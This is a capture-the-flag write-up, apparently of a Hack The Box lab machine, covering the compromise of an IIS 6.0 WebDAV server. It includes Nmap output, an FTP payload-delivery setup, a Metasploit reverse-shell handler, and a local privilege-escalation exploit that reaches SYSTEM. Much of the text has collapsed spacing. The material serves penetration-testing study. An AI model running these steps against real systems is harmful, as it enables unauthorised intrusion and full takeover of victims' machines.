# Nmap 7.70 scan initiated Sat Jul 20 14:38:04 2019 as: nmap -sV -sC -O -A -p 80 -oN O-detailed 10.10.10.14Nmapscanreportfor10.10.10.14Hostisup (0.23s latency).PORTSTATESERVICEVERSION80/tcpopenhttpMicrosoftIIShttpd6.0|http-methods:|_Potentiallyriskymethods:TRACECOPYPROPFINDSEARCHLOCKUNLOCKDELETEPUTMOVEMKCOLPROPPATCH|_http-server-header:Microsoft-IIS/6.0|_http-title:UnderConstruction|http-webdav-scan:|PublicOptions:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH|WebDAVtype:Unkown|ServerDate:Sat,20Jul201909:01:36GMT|ServerType:Microsoft-IIS/6.0|_AllowedMethods:OPTIONS,TRACE,GET,HEAD,COPY,PROPFIND,SEARCH,LOCK,UNLOCKWarning:OSScanresultsmaybeunreliablebecausewecouldnotfindatleast1openand1closedportDevicetype:generalpurposeRunning (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (92%)OSCPE:cpe:/o:microsoft:windows_server_2003::sp1cpe:/o:microsoft:windows_server_2003::sp2cpe:/o:microsoft:windows_server_2008::sp2cpe:/o:microsoft:windows_xp::sp3cpe:/o:microsoft:windows_2000::sp4Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (92%), Microsoft Windows Server 2008 Enterprise SP2 (92%), Microsoft Windows Server 2003 SP2 (91%), Microsoft Windows 2003 SP2 (91%), Microsoft Windows XP SP3 (90%), Microsoft Windows XP (87%), Microsoft Windows Server 2003 SP1 - SP2 (86%), Microsoft Windows XP SP2 or Windows Server 2003 (86%), Microsoft Windows 2000 SP4 (85%), Microsoft Windows XP SP2 or Windows Server 2003 SP2 (85%)
NoexactOSmatchesforhost (test conditionsnon-ideal).NetworkDistance:2hopsServiceInfo:OS:Windows; CPE:cpe:/o:microsoft:windowsTRACEROUTE (using port80/tcp)HOPRTTADDRESS1230.48ms10.10.14.12230.74ms10.10.10.14OSandServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Jul 20 14:38:23 2019 -- 1 IP address (1 host up) scanned in 18.76 seconds
Only the web-server port was open so the obvious choice to look at it, but it was an error with no information, so I started smashing it with gobuster, dirbuster, and dirb, got few directories and with a little study found out that it was running FrontPage 5.X.Y.Z, tried some exploits, they didn't seem to work. So I attacked the IIS 6.0 server itself, apparently none of the MSF modules worked for me, so I chose the manual route and used the exploit mentioned below to get a low privileged shell.
Now plan of action was to upgrade this shell to NT Authority/SYSTEM, as this shell didn't even get me the user flag. I tried running windows exploit suggester and tried many exploits without metasploit but they didn't seem to work, however they should have, but to no avail, they didn't work for me.
Next plan of action was to upgrade the current shell to meterpreter to get better control. The main struggle was how to upload and execute my msfvenom payload. After a little research I learned that FTP can be used to achieve this task, however the shell was unstable to I can not send commands as usual but, ftp had me covered here.
Start your own FTP server using twistd. This allows anonymous logins
sudotwistd-nftp-r.-p21
On the windows box, I created a file with all the FTP commands that will fetch me my payload and put into the current directory (I chose %TEMP%)
This got me my payload on the box, and now I ran the payload to get a meterpreter shell.
msf5>useexploit/multi/handlermsf5exploit(multi/handler) >setLHOSTtun0LHOST =>tun0msf5exploit(multi/handler) >setLPORT9999LPORT =>9999msf5exploit(multi/handler) >setpayloadwindows/shell/reverse_tcpmsf5exploit(multi/handler) >exploit-j-z[*] Started reverse TCP handler on 10.10.14.8:9999[*] Sending stage (179779bytes) to 10.10.10.14[*] Meterpreter session 1 opened (10.10.14.8:9999 ->10.10.10.14:1051) at 2019-07-20 19:54:41 +0530msf5exploit(multi/handler) >usepost/multi/recon/local_exploit_suggestermsf5post(multi/recon/local_exploit_suggester) >showoptionsModuleoptions (post/multi/recon/local_exploit_suggester):NameCurrentSettingRequiredDescription--------------------------------------SESSIONyesThesessiontorunthismoduleonSHOWDESCRIPTIONfalseyesDisplaysadetaileddescriptionfortheavailableexploitsmsf5post(multi/recon/local_exploit_suggester) >setsession2session =>2msf5post(multi/recon/local_exploit_suggester) >exploit[*] 10.10.10.14 - Collecting local exploits for x86/windows...[*] 10.10.10.14 - 29 exploit checks are being tried...[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.[+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.[*] Post module execution completedmsf5exploit(windows/local/ms10_015_kitrap0d) >useexploit/windows/local/ms15_051_client_copy_imagemsf5exploit(windows/local/ms15_051_client_copy_image) >setSESSION2SESSION =>2msf5exploit(windows/local/ms15_051_client_copy_image) >exploit[*] Started reverse TCP handler on 10.10.14.8:4444[*] Launching notepad to host the exploit...[+] Process 2688 launched.[*] Reflectively injecting the exploit DLL into 2688...[*] Injecting exploit into 2688...[*] Exploit injected. Injecting payload into 2688...[*] Payload injected. Executing exploit...[+] Exploit finished, wait for (hopefullyprivileged) payload execution to complete.[*] Sending stage (179779bytes) to 10.10.10.14[*] Meterpreter session 3 opened (10.10.14.8:4444 ->10.10.10.14:1059) at 2019-07-20 20:37:40 +0530meterpreter>sysinfoComputer:GRANPAOS:Windows.NETServer (Build 3790,ServicePack2).Architecture:x86SystemLanguage:en_USDomain:HTBLoggedOnUsers:2Meterpreter:x86/windowsmeterpreter>getuidServerusername:NTAUTHORITY\SYSTEM
However even with the system meterpreter shell I was not able to interact with the shells, so I had to migrate to another process and launch shell again to get interaction.
meterpreter>migrate2292[*] Migrating from 2688 to 2292...[*] Migration completed successfully.meterpreter>shellProcess3396created.Channel1created.MicrosoftWindows [Version 5.2.3790](C) Copyright1985-2003MicrosoftCorp.C:\WINDOWS\system32>whoamiwhoamintauthority\system
Learned quite a bunch from this box, how to target known vulnerabilities first, rather hunting down my own. How to use FTP to transfer files. Instability of exploits, something may work for somebody but, may not work for you. Overall a fun box.